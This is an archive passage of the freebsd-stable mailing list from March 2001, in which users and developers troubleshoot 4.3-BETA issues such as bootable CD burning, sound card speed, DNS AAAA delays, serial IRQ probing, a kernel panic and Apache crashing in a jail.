How to burn ISO? (was New 4.3 BETA (BETA2)... ) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Shumway wrote: > > On Thu, 15 Mar 2001, Francisco Reyes wrote: > > > On Tue, 13 Mar 2001, Jordan Hubbard wrote: > > > > How can I make a bootable CD from this? > > Could not find anything on the archives, FAQ or handbook. > > I know how to create disk from ISO images, but last I tried the CD was not > > bootable. > > > > The line I use to create disks from ISO images is: > > burncd -f /dev/acd0c -s 10 data fixate > > Bootable cdroms are made during the ISO mastering stage. If your using > software like mkisofs to convert a directory tree into an ISO image, then > the mastering software is responceable for making a bootable image. For > example, with mkisofs, you want to look at the -b flag. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message /usr/share/example/worm/burncd.sh is your friend. -- Erwan Arzur NetValue ltd. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 7: 7:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from yertle.kciLink.com (yertle.kciLink.com [208.184.13.195]) by hub.freebsd.org (Postfix) with ESMTP id 1433837B718 for ; Fri, 16 Mar 2001 07:07:35 -0800 (PST) (envelope-from khera@kciLink.com) Received: from onceler.kciLink.com (onceler.kciLink.com [208.184.13.196]) by yertle.kciLink.com (Postfix) with ESMTP id C36B02E440 for ; Fri, 16 Mar 2001 10:07:33 -0500 (EST) Received: (from khera@localhost) by onceler.kciLink.com (8.11.3/8.11.1) id f2GF7XS40711; Fri, 16 Mar 2001 10:07:33 -0500 (EST) (envelope-from khera) From: Vivek Khera MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15026.11317.586926.211907@onceler.kciLink.com> Date: Fri, 16 Mar 2001 10:07:33 -0500 To: stable@freebsd.org Subject: Re: Dell PERC3-DCL support? In-Reply-To: <200103152242.f2FMgVr01750@mass.dis.org> References: <15025.7436.951696.451824@onceler.kciLink.com> <200103152242.f2FMgVr01750@mass.dis.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "MS" == Mike Smith writes: >> selling what they call PERC3-DCL (Presumably for Dual Channel). Is MS> I don't know; I would expect that it's another AMI controller, in which According to the server technician who helped put my order together, it is an AMI card. We'll find out in two weeks if it really works in FreeBSD. I'll post a followup here at that time. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 7:42: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from localhost.grauel.com (usr1-33.mintel.net [63.81.123.48]) by hub.freebsd.org (Postfix) with ESMTP id 599AA37B718 for ; Fri, 16 Mar 2001 07:41:47 -0800 (PST) (envelope-from rjk@grauel.com) Received: (from rjk@localhost) by localhost.grauel.com (8.11.3/8.11.1) id f2GFfhW00494; Fri, 16 Mar 2001 10:41:43 -0500 (EST) (envelope-from rjk) From: Richard J Kuhns MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15026.13367.150808.507865@localhost.grauel.com> Date: Fri, 16 Mar 2001 10:41:43 -0500 To: freebsd-stable@freebsd.org Subject: ES1371 problem with up-to-date -BETA X-Mailer: VM 6.90 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The card (SoundBlaster 16) probed as Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #1: Fri Mar 16 09:22:06 EST 2001 rjk@moran.grauel.com:/misc/src/sys/compile/MORAN Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (933.02-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x686 Stepping = 6 Features=0x387fbff real memory = 268369920 (262080K bytes) avail memory = 257560576 (251524K bytes) ... pcm0: port 0xe000-0xe03f irq 5 at device 9.0 on pci0 ... moran:~$ cat /dev/sndstat FreeBSD Audio Driver (newpcm) Mar 16 2001 09:21:42 Installed devices: pcm0: at io 0xe000 irq 5 (1p/1r channels duplex) moran:~$ When using cat to send a .au file to /dev/audio it sounds like it's playing about twice as fast as it should. When using xmms to play mp3s, it sounds like it's playing about 1/2 as fast as it should. In both cases, the volume is ok and there's no noticeable static. moran:~$ uname -a FreeBSD moran.grauel.com 4.3-BETA FreeBSD 4.3-BETA #1: Fri Mar 16 09:22:06 EST 2001 rjk@moran.grauel.com:/misc/src/sys/compile/MORAN i386 moran:~$ The kernel was built and installed immediately after I cvsuped (my last buildworld was 2 days ago). I don't use any other functions of the card -- I just like to listen to music as I work. Thanks... - Rich -- Richard Kuhns rjk@grauel.com PO Box 6249 Tel: (765)477-6000 \ 100 Sawmill Road x319 Lafayette, IN 47903 (800)489-4891 / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 7:43:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 65DA537B718 for ; Fri, 16 Mar 2001 07:43:14 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id KAA59453; Fri, 16 Mar 2001 10:41:18 -0500 (EST) (envelope-from wollman) Date: Fri, 16 Mar 2001 10:41:18 -0500 (EST) From: Garrett Wollman Message-Id: <200103161541.KAA59453@khavrinen.lcs.mit.edu> To: joe@tao.org.uk Subject: Re: Perl 5.6 merged soon? In-Reply-To: <20010316133159.F2277@tao.org.uk> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010316004820.C4241@tao.org.uk> <200103160125.UAA53492@khavrinen.lcs.mit.edu> Organization: MIT Laboratory for Computer Science Cc: stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <20010316133159.F2277@tao.org.uk> you write: >That's what the new BSDPAN code is all about. Making CPAN installs >accounted for in the system. ``Accounted for'' is not particularly useful to me. I don't use CPAN.pm anyway. I know what most if not all of the modules are. The problem is being required to figure out the dependency graph, recompile all of the modules in the right order, and then test all of my applications to ensure that they haven't been broken (because invariably, the module that I originally installed will have been superseded). This is, to my mind, very much contrary to the spirit of ``stable''. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 8:18: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from joliet.groenquist.com (cx707588-b.santab1.ca.home.com [65.5.150.38]) by hub.freebsd.org (Postfix) with ESMTP id 659EA37B718 for ; Fri, 16 Mar 2001 08:18:00 -0800 (PST) (envelope-from root@groenquist.com) Received: from localhost (root@localhost) by joliet.groenquist.com (8.11.2/8.11.2) with ESMTP id f2GGG2M96577; Fri, 16 Mar 2001 08:16:02 -0800 (PST) (envelope-from root@groenquist.com) Date: Fri, 16 Mar 2001 08:16:01 -0800 (PST) From: Matt Groener To: Garrett Wollman Cc: joe@tao.org.uk, stable@FreeBSD.ORG, jqs@qad.com Subject: Re: Perl 5.6 merged soon? In-Reply-To: <200103161541.KAA59453@khavrinen.lcs.mit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001, Garrett Wollman wrote: > In article <20010316133159.F2277@tao.org.uk> you write: > > >That's what the new BSDPAN code is all about. Making CPAN installs > >accounted for in the system. > > ``Accounted for'' is not particularly useful to me. I don't use > CPAN.pm anyway. > > I know what most if not all of the modules are. The problem is being > required to figure out the dependency graph, recompile all of the > modules in the right order, and then test all of my applications to > ensure that they haven't been broken (because invariably, the module > that I originally installed will have been superseded). This is, to > my mind, very much contrary to the spirit of ``stable''. It would be "nice" if "perldoc perllocal" also reported dependencies in addition to just locally installed modules, but I would suspect this is a feature request for CPAN, and even then will not be of much use to anyone until some time down the road when everyone is already in sync. You *can* use some muscle to keep updates in sync using CPAN if you at least have the "perldoc perllocal" information handy: 1. Get all the tarballs of installed modules (based on "perldoc perllocal") 2. Untar them all, then loop through each Makefile.PL and look for: PREREQ_PM entries that tell the install what modules are required. 3. Go get those tarballs... 4. Rinse and repeat step two until you have all the dependencies 5. Reinstall them all with "force install" under CPAN or do it by hand A completely different approach documented in the CPAN man page is to use a Bundle definition (see Bundle::Slash in the CPAN tree for a good example of this functionality). You can roll your own Bundle definition for a box with minimal work (if you update it regularly as you install more modules). I will put in a "feature-request" to the CPAN maintainers to see if this Bundle could be auto-built from within CPAN. -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 9: 2:11 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mailhost.tbit.dk (mailhostnew.tbit.dk [194.182.135.150]) by hub.freebsd.org (Postfix) with ESMTP id 764A537B719 for ; Fri, 16 Mar 2001 09:02:06 -0800 (PST) (envelope-from fig@ericssontelebit.com) Received: from FIGCPX (IDENT:root@mailhost.tbit.dk [194.182.135.150]) by mailhost.tbit.dk (8.9.3/8.9.3) with SMTP id SAA08896 for ; Fri, 16 Mar 2001 18:02:03 +0100 Message-ID: <001a01c0ae3b$2f9dad20$0a00a8c0@FIGCPX> From: =?iso-8859-1?Q?Finn_Gr=F8nning?= To: Subject: Mailing list Date: Fri, 16 Mar 2001 18:04:35 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0017_01C0AE43.8F69C790" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.3018.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C0AE43.8F69C790 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Please let me join the stable mailing list Best regards Finn -- Finn Groenning System Engineer, M. Sc. (Eng.) Ericsson Telebit A/S Key Account Management Skanderborgvej 232 tel: +45 8938 5100 DK-8260 Viby J Denmark e-mail: finn.gronning@ted.ericsson.dk ------=_NextPart_000_0017_01C0AE43.8F69C790 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Please let me join the stable mailing list
 
Best regards
Finn
--
Finn=20 Groenning          &nbs= p;            = ;=20 System Engineer, M. Sc. (Eng.)
Ericsson Telebit=20 A/S           &nbs= p;   =20 Key Account Management
Skanderborgvej=20 232           &nbs= p;    =20 tel: +45 8938 5100
DK-8260 Viby J  =20 Denmark       e-mail: finn.gronning@ted.ericsson.= dk
------=_NextPart_000_0017_01C0AE43.8F69C790-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 9:37:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 9EF9437B719; Fri, 16 Mar 2001 09:37:56 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta5/8.12.0.Beta5) id f2GHbtBL056875; Fri, 16 Mar 2001 09:37:55 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15026.20339.658116.77984@horsey.gshapiro.net> Date: Fri, 16 Mar 2001 09:37:55 -0800 From: Gregory Neil Shapiro To: Stephen Krans Cc: Hajimu UMEMOTO , freebsd-stable@FreeBSD.ORG Subject: Re: 4.3-BETA2, name resolution problem? In-Reply-To: <20010316084030.A16744@visi.com> References: <20010315161333.A14337@visi.com> <20010316.181229.125831413.ume@FreeBSD.org> <20010316084030.A16744@visi.com> X-Mailer: VM 6.91 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG sdk> I'm seeing a ~ 60 second delay before the name is resolved and the sdk> connection is made. During that delay period, Ethereal shows several sdk> consecutive AAAA lookups before an A lookup is sent and IP immediately sdk> returned. sdk> This server's DNS setup points to another FreeBSD machine running sdk> 8.2.3-REL, which is config'd as 'forward only' and passes my request sdk> (since it's a external hostname) down the line to (I believe) a sdk> Windows NT server where the name resolution is acutally done. Sounds like your DNS server (the Windows NT server) can't handle AAAA queries properly. You can test this theory using: nslookup -d2 -q=aaaa hostname You can also see if other applications face the same problem: telnet -6 hostname To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 9:43:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id B42CF37B719 for ; Fri, 16 Mar 2001 09:43:18 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon.sentex.net (simeon.sentex.ca [209.112.4.47]) by smtp1.sentex.ca (8.11.2/8.11.1) with ESMTP id f2GHhH095124; Fri, 16 Mar 2001 12:43:17 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <5.0.2.1.0.20010316123214.042b8ec0@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 16 Mar 2001 12:36:58 -0500 To: Finn =?iso-8859-1?Q?Grønning?= From: Mike Tancsa Subject: Re: Mailing list In-Reply-To: <001a01c0ae3b$2f9dad20$0a00a8c0@FIGCPX> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, The FreeBSD mailing lists work the way most mailing lists do on=20 the internet via majordomo. http://www.freebsd.org/handbook/eresources.html#ERESOURCES-MAIL has the list of them as well as instructions on how to subscribe. If you=20 are new to FreeBSD, start off with the mailing list=20 questions@freebsd.org. Also, you will find that any FreeBSD questions you= =20 might have most likely have already been asked by someone and answered by=20 someone else, so familiarizing yourself with the mailing list archives will= =20 be very helpful. http://www.freebsd.org/search/search.html#mailinglists http://www.freebsd.org/mail/ ---Mike At 06:04 PM 3/16/01 +0100, Finn Gr=F8nning wrote: >Please let me join the stable mailing list > >Best regards >Finn >-- >Finn Groenning System Engineer, M. Sc. (Eng.) >Ericsson Telebit A/S Key Account Management >Skanderborgvej 232 tel: +45 8938 5100 >DK-8260 Viby J Denmark e-mail:=20 >finn.gronning@ted.ericsson.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 9:54: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id CCBD237B719 for ; Fri, 16 Mar 2001 09:54:03 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 5444 invoked from network); 16 Mar 2001 17:54:01 -0000 Received: from j3.jrc16.jaring.my (HELO prophet.alphaque.com) (161.142.111.137) by ns2.alphaque.com with SMTP; 16 Mar 2001 17:54:01 -0000 Received: from localhost (6uuc67@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2GHSQL01024 for ; Sat, 17 Mar 2001 01:28:26 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Sat, 17 Mar 2001 01:28:26 +0800 (MYT) From: Dinesh Nair To: freebsd-stable@freebsd.org Subject: sio2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG people, on 4.3-BETA (March 7) on a compaq armada m300, i enabled sio0-3. the notebook has an IR port and an internal modem. am unsure if this modem is a winmodem, and am trying to get it to work if possible. also am trying to get the IR port recognized as a serial port for palm hotsyncing. has anyone else done this on an armada m300 ? upon bootup, i see the following message: Mar 17 00:22:16 prophet /kernel: sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 Mar 17 00:22:16 prophet /kernel: sio0: type 16550A Mar 17 00:22:16 prophet /kernel: sio1: configured irq 3 not in bitmap of probed irqs 0 Mar 17 00:22:16 prophet /kernel: sio2: configured irq 5 not in bitmap of probed irqs 0x8 Mar 17 00:22:16 prophet /kernel: sio2 at port 0x3e8-0x3ef irq 5 on isa0 Mar 17 00:22:16 prophet /kernel: sio2: type 16550A Mar 17 00:22:17 prophet /kernel: sio3: configured irq 9 not in bitmap of probed irqs 0 i've checked dmesg, and irq 5 is not used anywhere else. yet it recognizes sio2 as a 16550A serial device. what does irq not in bitmap of probed irqs mean ? and what does the 0x0 and 0x8 that follows it mean ? --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 10:27:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from corb.mc.mpls.visi.com (corb.mc.mpls.visi.com [208.42.156.1]) by hub.freebsd.org (Postfix) with ESMTP id 3D92A37B71D; Fri, 16 Mar 2001 10:27:30 -0800 (PST) (envelope-from sdk@visi.com) Received: from isis.visi.com (isis.visi.com [209.98.98.8]) by corb.mc.mpls.visi.com (Postfix) with ESMTP id 2FBA4822E; Fri, 16 Mar 2001 12:26:28 -0600 (CST) Received: (from sdk@localhost) by isis.visi.com (8.8.8/8.8.8) id MAA18926; Fri, 16 Mar 2001 12:27:34 -0600 (CST) Date: Fri, 16 Mar 2001 12:27:34 -0600 From: Stephen To: Gregory Neil Shapiro Cc: Hajimu UMEMOTO , freebsd-stable@FreeBSD.ORG Subject: Re: 4.3-BETA2, name resolution problem? Message-ID: <20010316122734.A18811@visi.com> References: <20010315161333.A14337@visi.com> <20010316.181229.125831413.ume@FreeBSD.org> <20010316084030.A16744@visi.com> <15026.20339.658116.77984@horsey.gshapiro.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.1i In-Reply-To: <15026.20339.658116.77984@horsey.gshapiro.net>; from Gregory Neil Shapiro on Fri, Mar 16, 2001 at 09:37:55AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 09:37:55AM -0800, Gregory Neil Shapiro wrote: > sdk> I'm seeing a ~ 60 second delay before the name is resolved and the > sdk> connection is made. During that delay period, Ethereal shows several > sdk> consecutive AAAA lookups before an A lookup is sent and IP immediately > sdk> returned. > > sdk> This server's DNS setup points to another FreeBSD machine running > sdk> 8.2.3-REL, which is config'd as 'forward only' and passes my request > sdk> (since it's a external hostname) down the line to (I believe) a > sdk> Windows NT server where the name resolution is acutally done. > > Sounds like your DNS server (the Windows NT server) can't handle AAAA > queries properly. You can test this theory using: > > nslookup -d2 -q=aaaa hostname > > You can also see if other applications face the same problem: > > telnet -6 hostname I think an outdated DNS (NT) is the problem. Thanks for everyones help, sk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 10:34:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from stsws5.die.supsi.ch (stsws5.die.supsi.ch [193.5.154.5]) by hub.freebsd.org (Postfix) with ESMTP id 62B5037B719 for ; Fri, 16 Mar 2001 10:34:22 -0800 (PST) (envelope-from nunnari@die.supsi.ch) Received: from die.supsi.ch (pcm2022.die.supsi.ch [193.5.152.22]) by stsws5.die.supsi.ch (8.9.1a/8.9.1) with ESMTP id TAA09047 for ; Fri, 16 Mar 2001 19:25:25 +0100 (MET) Message-ID: <3AB25D27.BFC03A4F@die.supsi.ch> Date: Fri, 16 Mar 2001 19:36:23 +0100 From: Roberto Nunnari X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: crash on 4.3-BETA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just got this right after a 'make install' for a port. =============================================== Fatal trap 12: page fault while in kernel mode fault virtual address =0x8 fault code = supervisor read, page not present instruction pointer= 0x8:0xc01e659f stack pointer = 0x10:0xc87bbd5c frame pointer = 0x10:0xc87bbd6c code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags= interrupt enabled, resume, IOPL = 0 current process = 24978 (basename) interrupt mask = none trap number = 12 panic: page fault syncing disks... 156 156 152 134 116 87 64 22 done Uptime: 6h26m0s Automatic reboot in 15 seconds =============================================== FreeBSD 4.3-BETA #0 Pentium III Please CC to my box as well. Thanks a lot for the wonderful work, guys. :)) (for the malicious: it's not sarcasm: I love FreeBSD. I really mean it.) I'm sorry but I don't have the kernel core... If it may help I have the kernel, kernel configuration file, etc... Best regards. -- Roberto Nunnari -software engineer- mailto:nunnari@die.supsi.ch Scuola Universitaria Professionale della Svizzera Italiana Dipartimento di Informatica e Elettronica http://www.die.supsi.ch SUPSI-DIE Via Cantonale tel: +41-91-6108557 6928 Manno """ Switzerland (o o) =======================oOO==(_)==OOo======================== MY OPINIONS ARE NOT NECESSARILY THOSE OF MY EMPLOYER To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 10:43:27 2001 Delivered-To: freebsd-stable@freebsd.org Received: from home.cg.nu (home.cg.nu [213.196.2.115]) by hub.freebsd.org (Postfix) with ESMTP id 8640E37B71C for ; Fri, 16 Mar 2001 10:43:22 -0800 (PST) (envelope-from henk@home.cg.nu) Received: from kpnlep (henk [213.93.106.195]) by home.cg.nu (Postfix) with ESMTP id E253D158E47 for ; Fri, 16 Mar 2001 19:43:18 +0100 (CET) Reply-To: From: "Henk Wevers" To: Subject: Apache 1.3.19 does not work in a jail Date: Fri, 16 Mar 2001 19:43:18 +0100 Message-ID: <006201c0ae48$f8950d10$08010a0a@kpnlep> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In FreeBSD-4.3-BETA2, Does somebody have a cleu why it is not working? The only thing it does is dumping core at startup. # apachectl start Segmentation fault - core dumped /usr/local/sbin/apachectl start: httpd could not be started Uname -a FreeBSD testje.cg.nu 4.3-BETA FreeBSD 4.3-BETA #13: Wed Mar 14 19:04:41 CET 2001 root@cg.nu:/usr/src/sys/compile/BLAAT i386 Henk Wevers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 10:49:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id DB5BA37B718 for ; Fri, 16 Mar 2001 10:49:52 -0800 (PST) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f2GInHe25004; Fri, 16 Mar 2001 20:49:17 +0200 (EET) (envelope-from ru) Date: Fri, 16 Mar 2001 20:49:17 +0200 From: Ruslan Ermilov To: Roberto Nunnari Cc: freebsd-stable@FreeBSD.ORG Subject: Re: crash on 4.3-BETA Message-ID: <20010316204916.A23643@sunbay.com> Reply-To: stable@FreeBSD.ORG Mail-Followup-To: Roberto Nunnari , freebsd-stable@FreeBSD.ORG References: <3AB25D27.BFC03A4F@die.supsi.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3AB25D27.BFC03A4F@die.supsi.ch>; from nunnari@die.supsi.ch on Fri, Mar 16, 2001 at 07:36:23PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 07:36:23PM +0100, Roberto Nunnari wrote: > I just got this right after a 'make install' for a port. > > =============================================== > Fatal trap 12: page fault while in kernel mode > fault virtual address =0x8 > fault code = supervisor read, page not present > instruction pointer= 0x8:0xc01e659f > stack pointer = 0x10:0xc87bbd5c > frame pointer = 0x10:0xc87bbd6c > code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 > processor eflags= interrupt enabled, resume, IOPL = 0 > current process = 24978 (basename) > interrupt mask = none > trap number = 12 > panic: page fault > > syncing disks... 156 156 152 134 116 87 64 22 > done > Uptime: 6h26m0s > Automatic reboot in 15 seconds > =============================================== > Huh, it would be much better if you had both core image from the kernel, and kernel.debug in /sys/compile/IDENT/. Anyway, run ``nm /kernel'' and try to find what symbols are close to the 0xc01e659f address (instruction pointer). My /kernel, for example, shows this (sorry, Soren): c01e6478 t acdclose c01e64f0 t acdioctl c01e6380 t acdopen Of course, acd(4) is not exactly a culprit (I have a different config from yours, and hence my kernel layout is different). This is just to show you the idea. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 10:54: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from stsws5.die.supsi.ch (stsws5.die.supsi.ch [193.5.154.5]) by hub.freebsd.org (Postfix) with ESMTP id CD7D637B719 for ; Fri, 16 Mar 2001 10:54:02 -0800 (PST) (envelope-from nunnari@die.supsi.ch) Received: from die.supsi.ch (pcm2022.die.supsi.ch [193.5.152.22]) by stsws5.die.supsi.ch (8.9.1a/8.9.1) with ESMTP id TAA24331 for ; Fri, 16 Mar 2001 19:45:05 +0100 (MET) Message-ID: <3AB261C3.7F555A9D@die.supsi.ch> Date: Fri, 16 Mar 2001 19:56:03 +0100 From: Roberto Nunnari X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: stable@freebsd.org Subject: kernel core dump Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all. Does setting 'dumpdev=/dev/ad0s2b' in rc.conf enables the generation of kernel core dumps? /dev/ad0s2b is the swap partition. will the system upon next reboot automatically save the core on the filesystem or it's necessary to do it by hand in single user mode? Thanks. -- Roberto Nunnari -software engineer- mailto:nunnari@die.supsi.ch Scuola Universitaria Professionale della Svizzera Italiana Dipartimento di Informatica e Elettronica http://www.die.supsi.ch SUPSI-DIE Via Cantonale tel: +41-91-6108557 6928 Manno """ Switzerland (o o) =======================oOO==(_)==OOo======================== MY OPINIONS ARE NOT NECESSARILY THOSE OF MY EMPLOYER To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 10:59:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fmdb.c3.hu (dial-054.digitel2002.hu [213.163.2.54]) by hub.freebsd.org (Postfix) with SMTP id 03F5637B71C for ; Fri, 16 Mar 2001 10:59:18 -0800 (PST) (envelope-from mico@bsd.hu) Received: (qmail 1148 invoked by uid 1003); 16 Mar 2001 18:58:32 -0000 Date: Fri, 16 Mar 2001 19:58:32 +0100 From: Miklos Niedermayer To: Henk Wevers Cc: stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail Message-ID: <20010316195832.A241@fmdb.c3.hu> References: <006201c0ae48$f8950d10$08010a0a@kpnlep> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <006201c0ae48$f8950d10$08010a0a@kpnlep>; from henk@home.cg.nu on Fri, Mar 16, 2001 at 07:43:18PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Henk! On Fri, Mar 16, 2001 at 07:43:18PM +0100, Henk Wevers wrote: > In FreeBSD-4.3-BETA2, > > Does somebody have a cleu why it is not working? > The only thing it does is dumping core 